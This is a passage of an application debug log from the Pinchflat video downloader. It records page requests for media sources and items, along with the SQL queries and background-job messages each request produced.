200 in 4ms 16:58:35.610 [info] GET /sources/3 16:58:35.610 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "3"} Pipelines: [:browser] 16:58:35.610 [debug] QUERY OK source="sources" db=0.0ms idle=616.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:58:35.610 [debug] QUERY OK source="media_profiles" db=0.0ms idle=616.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:35.611 [debug] QUERY OK source="tasks" db=0.1ms idle=617.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 16:58:35.611 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=617.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [717, 430] 16:58:35.611 [debug] QUERY OK source="settings" db=0.0ms idle=123.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:35.611 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:35.611 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:35.612 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:58:35.613 [debug] QUERY OK source="media_items" db=0.7ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:58:35.614 [debug] QUERY OK source="media_items" db=0.7ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 16:58:35.614 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:58:35.614 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 16:58:35.615 [debug] QUERY OK source="media_items" db=0.4ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 16:58:35.615 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:58:35.615 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 16:58:35.617 [debug] QUERY OK source="media_items" db=1.9ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 16:58:35.618 [info] Sent 200 in 8ms 16:58:48.496 [info] GET /sources/3/media/6487 16:58:48.496 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6487", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:58:48.496 [debug] QUERY OK source="media_items" db=0.1ms idle=1502.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6487] 16:58:48.497 [debug] QUERY OK source="tasks" db=0.0ms idle=1503.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6487] 16:58:48.497 [debug] QUERY OK source="sources" db=0.1ms idle=1503.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:58:48.497 [debug] QUERY OK source="settings" db=0.0ms idle=1503.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:48.497 [debug] QUERY OK source="settings" db=0.0ms idle=997.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:48.498 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:48.498 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:48.499 [info] Sent 200 in 3ms 16:58:53.960 [info] GET /sources/3/media/6489 16:58:53.960 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6489", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:58:53.960 [debug] QUERY OK source="media_items" db=0.1ms idle=1966.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6489] 16:58:53.961 [debug] QUERY OK source="tasks" db=0.0ms idle=1967.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6489] 16:58:53.961 [debug] QUERY OK source="sources" db=0.1ms idle=1967.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:58:53.961 [debug] QUERY OK source="settings" db=0.0ms idle=1456.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:53.961 [debug] QUERY OK source="settings" db=0.0ms idle=455.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:53.962 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:53.962 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:53.963 [info] Sent 200 in 2ms 16:58:57.222 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:59.098 [info] GET /sources/2/media/6130 16:58:59.098 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6130", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:58:59.099 [debug] QUERY OK source="media_items" db=0.1ms idle=587.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6130] 16:58:59.099 [debug] QUERY OK source="tasks" db=0.0ms idle=105.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6130] 16:58:59.099 [debug] QUERY OK source="sources" db=0.1ms idle=105.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:58:59.099 [debug] QUERY OK source="settings" db=0.0ms idle=105.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:59.099 [debug] QUERY OK source="settings" db=0.0ms idle=105.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:59.099 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:59.100 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:59.101 [info] Sent 200 in 2ms 16:59:00.765 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:59:03.769 [info] GET /sources/3/media/6491 16:59:03.770 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6491", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:03.770 [debug] QUERY OK source="media_items" db=0.1ms idle=1253.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6491] 16:59:03.770 [debug] QUERY OK source="tasks" db=0.1ms idle=776.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6491] 16:59:03.770 [debug] QUERY OK source="sources" db=0.1ms idle=776.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:03.770 [debug] QUERY OK source="settings" db=0.0ms idle=776.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:03.770 [debug] QUERY OK source="settings" db=0.0ms idle=253.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:03.771 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:03.771 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:03.771 [info] Sent 200 in 2ms 16:59:07.937 [info] GET /sources/3/media/6490 16:59:07.937 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6490", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:07.937 [debug] QUERY OK source="media_items" db=0.1ms idle=943.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6490] 16:59:07.938 [debug] QUERY OK source="tasks" db=0.0ms idle=944.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6490] 16:59:07.938 [debug] QUERY OK source="sources" db=0.1ms idle=944.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:07.938 [debug] QUERY OK source="settings" db=0.2ms idle=944.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:07.938 [debug] QUERY OK source="settings" db=0.0ms idle=417.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:07.939 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:07.939 [debug] 